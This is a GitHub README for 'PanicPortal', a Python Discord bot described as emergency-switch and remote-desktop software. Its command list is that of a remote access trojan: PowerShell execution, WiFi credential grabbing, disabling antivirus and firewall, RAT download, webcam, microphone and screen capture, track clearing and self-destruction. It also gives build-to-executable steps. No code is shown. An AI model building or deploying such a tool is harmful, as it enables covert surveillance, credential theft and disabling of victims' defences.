haydenbanz / PanicPortal

Panic Portal is a software solution designed to enable emergency switch activation and remote desktop control through Discord. It integrates seamlessly with Discord's platform, allowing users to manage emergency procedures and access remote desktops directly from their Discord server. Ideal for swift response teams and remote support scenarios,

Home Page:https://haydenbanz.github.io/PanicPortal

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

PanicPortal ๐ŸŒ‘ V 2.1

PanicPortal Logo

Python - PanicPortal MIT License Python Version Discord.py library GitHub Issues GitHub Pull Requests GitHub Stars Profile Views GitHub Download

Panic Portal: Emergency Switch & Remote Desktop Control via Discord

๐Ÿ“– Description

Panic Portal is a software solution designed to enable emergency switch activation and remote desktop control through Discord. It integrates seamlessly with Discord's platform, allowing users to manage emergency procedures and access remote desktops directly from their Discord server. Ideal for swift response teams and remote support scenarios, Panic Portal ensures efficient communication and action during critical situations.

Key Features

  • Emergency Switch Activation: Trigger emergency procedures instantly via Discord commands.
  • Remote Desktop Control: Access and control remote desktops securely through Discord.
  • Real-time Communication: Facilitate swift response and coordination with team members.
  • Customizable Settings: Configure permissions and settings to suit specific operational needs.

Updates

  • ๐Ÿ› Fixed bugs:
    • Fixed issue with Spotify remote device control not starting on device boot.
  • ๐Ÿš€ Added new features:
    • ๐Ÿ”ฅ Deactivate antivirus firewall.
    • ๐Ÿ–ผ๏ธ Fixed screenshot and screen share.
    • ๐ŸŽต Spotify remote device control: Start, stop, and control Spotify playback remotely.
    • ๐ŸŒ Web and webhook-based control: Start a web server and utilize WebSocket (ws://) for real-time interactions.
    • ๐Ÿ”‹ Get battery status: Monitor and display device battery status.
    • ๐Ÿšจ Self-destruction of application: Implement a feature to self-destruct the application securely.
    • ๐Ÿ“œ Clear logs: Provide functionality to clear application logs securely.

Feature List

  • ๐Ÿ–ฅ๏ธ /!streamscreen: Sends the screenshot and sends.
  • ๐Ÿ’ป /powershell: Executes commands using PowerShell.
  • ๐Ÿค– /bot_commmand: Executes a command related to a bot.
  • ๐Ÿ“ /sys_log: Logs system activities.
  • ๐Ÿ”’ /lock_sys: Locks the system.
  • ๐Ÿ“ฆ /set_payload: Sets a payload for execution.
  • ๐Ÿ“ถ /grab_wifi: Grabs WiFi information.
  • โฌ‡๏ธ /download: Downloads a specified file.
  • ๐ŸŽฅ /cam_list: Lists connected cameras.
  • ๐Ÿ”„ /list_process: Lists running processes.
  • โ›” /kill_process: Terminates a specified process.
  • ๐Ÿ“ก /rat_down: Initiates a remote access tool download.
  • ๐Ÿ”„ /sys_restart: Restarts the system.
  • ๐Ÿ—‘๏ธ /clear: Clears the current operation.
  • ๐ŸŽค /voice_rec [duration]: Initiates voice recognition. (Duration must be a positive integer.)
  • ๐Ÿ–ฅ๏ธ /recscreen [duration]: Records the screen. (Invalid duration. Please specify a valid number after '!recscreen')
  • ๐Ÿ›ก๏ธ /disableantivirus: Disables antivirus protection.
  • ๐Ÿ›ก๏ธ /disablefirewall: Disables firewall protection.
  • ๐ŸŒ /start_server: Starts a server.
  • ๐ŸŒ /websocket_server: Starts a WebSocket server.
  • ๐ŸŽต /now_playing: Gets the current song playing in Spotify.
  • โ–ถ๏ธ /play [song]: Plays a song in Spotify. (Example: /play faded)
  • โธ๏ธ /pause: Pauses the current song in Spotify.
  • โ–ถ๏ธ /resume: Resumes playback of the current song in Spotify.
  • โญ๏ธ /next: Plays the next song in the Spotify playlist.
  • โฎ๏ธ /previous: Plays the previous song in the Spotify playlist.
  • โค๏ธ /like: Likes the current song in Spotify.
  • ๐Ÿ”‹ /battery: Retrieves battery status.
  • ๐Ÿ—‘๏ธ /cleartracks: Clears tracks and logs.
  • ๐Ÿ’ฃ /self_destruct: Initiates self-destruction.
  • ๐Ÿ“ถ /ping: Sends a ping to check status.
  • โ„น๏ธ /sys_info: Retrieves system information.
  • ๐Ÿ–ฅ๏ธ /screen_share: Shares the screen.
  • ๐Ÿ“ /start_logging: Starts logging activities.
  • ๐Ÿ“ธ /camic [cam_id]: Takes a shot with the default webcam or the specified webcam ID.

โš ๏ธ Unauthorized Use Alert โš ๏ธ

Unauthorized use of this software is strictly prohibited. This includes but is not limited to:

  • Unauthorized access or control of systems.
  • Use of commands without proper authorization.
  • Any activity not explicitly permitted by the software's intended use.

Violations will be subject to legal action and may result in severe penalties.

Please ensure all usage complies with applicable laws and regulations.

๐Ÿ› ๏ธ Prerequisites

  • Python Version
  • Discord.py library
  • Other required Python packages listed in requirements.txt

Getting Discord Token and Spotify Client Secret

Discord Token

  1. Create a Discord Application:

    • Go to the Discord Developer Portal.
    • Click on New Application and give your application a name.
    • Navigate to the Bot tab on the left sidebar.
    • Click Add Bot and confirm.
    • Under the Token section, click Copy to get your bot token.
  2. Keep Your Token Secure:

    • Treat your token like a password. Do not share it publicly or commit it to version control.

Spotify Client Secret

  1. Create a Spotify Application:

    • Go to the Spotify Developer Dashboard.
    • Log in or sign up for a Spotify Developer account.
    • Click on Create an App and fill out the necessary details for your application.
  2. Retrieve Client ID and Client Secret:

    • Once your application is created, you'll see your Client ID displayed.
    • Click on Show Client Secret to reveal and copy your Client Secret.
  3. Keep Your Client Secret Secure:

    • Treat your Client Secret like a password. Do not share it publicly or commit it to version control.
  4. Use Tokens and Secrets in Your Application:

    • Store your Discord Token and Spotify Client Secret securely in environment variables or a configuration file (e.g., .env file) not included in your code repository.
  5. References:

Installation Instructions

Download EXE and Environment

GitHub Download


OR

  1. Clone or Download the Repository:

    • Clone the repository using Git:
      git clone https://github.com/haydenbanz/PanicPortal.git
    • Alternatively, download the repository from PanicPortal download.
  2. Navigate to the Directory:

    • Open a terminal or command prompt.
    • Change directory to PanicPortal:
      cd PanicPortal
  3. Install Required Python Packages:

    • Install the necessary packages using pip:
      pip install -r requirements.txt
  4. Modify bot.py Configuration:

    • Open bot.py file in a text editor.
    • Add your Discord bot token, Spotify client ID, Spotify client secret:
      • Discord bot token: Update on line 1182.
      • Spotify client ID and client secret: Update on lines 74 & 75.
      • Channel ID for voice (if applicable): Update on line 520.
  5. Start PanicPortal:

    • Launch PanicPortal by running:
      python bot.py
  6. Check Discord Server:

    • Verify that the bot appears and functions correctly on your Discord server for remote access.

Compile to Executable (Optional)

  1. Install PyInstaller:

    • Install PyInstaller using pip:
      pip install pyinstaller
  2. Install PyWin32 (if not installed):

    • Install PyWin32 using pip:
      pip install pywin32
  3. Compile to Executable:

    • Navigate to your project directory in the terminal or command prompt.
    • Run one of the following commands:
      • For Windows:
        pyinstaller --onefile --add-data "*.py;." bot.py
        or
        pyinstaller --onefile --exclude-module pythoncom bot.py
    • This will create a standalone executable file in the dist directory.

๐Ÿ”ง Configuration

  • Configure the bot by editing the bot.py file.
  • Replace with your discord token by changing text_channel_id = # Replace with your desired text channel ID.
  • Replace with your discord token bot.run('YOUR_TOKEN').

Commands

  • /!streamscreen: Sends the screenshot and sends.
  • /powershell: Executes commands using PowerShell.
  • /bot_commmand: Executes a command related to a bot.
  • /sys_log: Logs system activities.
  • /lock_sys: Locks the system.
  • /set_payload: Sets a payload for execution.
  • /grab_wifi: Grabs WiFi information.
  • /download: Downloads a specified file.
  • /cam_list: Lists connected cameras.
  • /list_process: Lists running processes.
  • /kill_process: Terminates a specified process.
  • /rat_down: Initiates a remote access tool download.
  • /sys_restart: Restarts the system.
  • /clear: Clears the current operation.
  • /voice_rec [duration]: Initiates voice recognition. (Duration must be a positive integer.)
  • /recscreen [duration]: Records the screen. (Invalid duration. Please specify a valid number after '!recscreen')
  • /disableantivirus: Disables antivirus protection.
  • /disablefirewall: Disables firewall protection.
  • /start_server: Starts a server.
  • /websocket_server: Starts a WebSocket server.
  • /now_playing: Gets the current song playing in Spotify.
  • /play [song]: Plays a song in Spotify. (Example: /play faded)
  • /pause: Pauses the current song in Spotify.
  • /resume: Resumes playback of the current song in Spotify.
  • /next: Plays the next song in the Spotify playlist.
  • /previous: Plays the previous song in the Spotify playlist.
  • /like: Likes the current song in Spotify.
  • /battery: Retrieves battery status.
  • /cleartracks: Clears tracks and logs.
  • /self_destruct: Initiates self-destruction.
  • /ping: Sends a ping to check status.
  • /sys_info: Retrieves system information.
  • /screen_share: Shares the screen.
  • /start_logging: Starts logging activities.
  • /camic [cam_id]: Takes a shot with the default webcam or the specified webcam ID.

Contribution

We welcome contributions to PanicPortal! If you have suggestions for improvements, found a bug, or have a new feature request, feel free to contribute.

  • GitHub Issues
  • GitHub Pull Requests

How to Contribute

  1. Fork the Repository: Click the "Fork" button at the top right of the repository page to create your own copy of the repository.

  2. Clone Your Fork: Clone your forked repository to your local machine using the following command:

    git clone https://github.com/your-username/PanicPortal.git
  3. Create a New Branch: Create a new branch for your feature or bugfix:

    git checkout -b feature-or-bugfix-name
  4. Make Changes: Make your changes or add your new feature.

  5. Commit Your Changes: Commit your changes with a clear and concise commit message:

    git commit -m "Description of the changes"
  6. Push to Your Fork: Push your changes to your forked repository:

    git push origin feature-or-bugfix-name
  7. Submit a Pull Request: Go to the original repository and submit a pull request from your forked repository. Provide a detailed description of your changes in the pull request.

Guidelines

  • Follow the existing code style.
  • Write clear and concise commit messages.
  • Test your changes thoroughly before submitting a pull request.
  • Ensure that your changes do not introduce new bugs or break existing functionality.
  • Be respectful and open to feedback during the code review process.

Thank you for contributing to PanicPortal!

๐ŸŒ Support

Discord

Join our Discord server (Update Soon) for support, discussions, and updates related to DiscordGloom.

๐Ÿ“œ License

This project is licensed under the MIT License. See the LICENSE file for more details.

Unauthorized use is strictly prohibited.

๐Ÿ‘ค 0x_hayden ๐Ÿ“ง Email: cubedimension@protonmail.com ๐Ÿ“ง Email:barneshayden278@gmail.com

๐Ÿ™ Credits

This project is maintained by:

Contributor Name

Contributors and Developers

Contributor Name Contributor Name

โ˜• Support

If you find this project helpful, consider buying us a coffee:

Buy Me a Coffee

๐Ÿšซ Disclaimer

The creators of this project are not responsible for any unauthorized or misuse of the software. DiscordGloom is intended for enhancing Discord servers in a responsible and ethical manner.

About

Panic Portal is a software solution designed to enable emergency switch activation and remote desktop control through Discord. It integrates seamlessly with Discord's platform, allowing users to manage emergency procedures and access remote desktops directly from their Discord server. Ideal for swift response teams and remote support scenarios,

https://haydenbanz.github.io/PanicPortal

License:MIT License


Languages

Language:Python 100.0%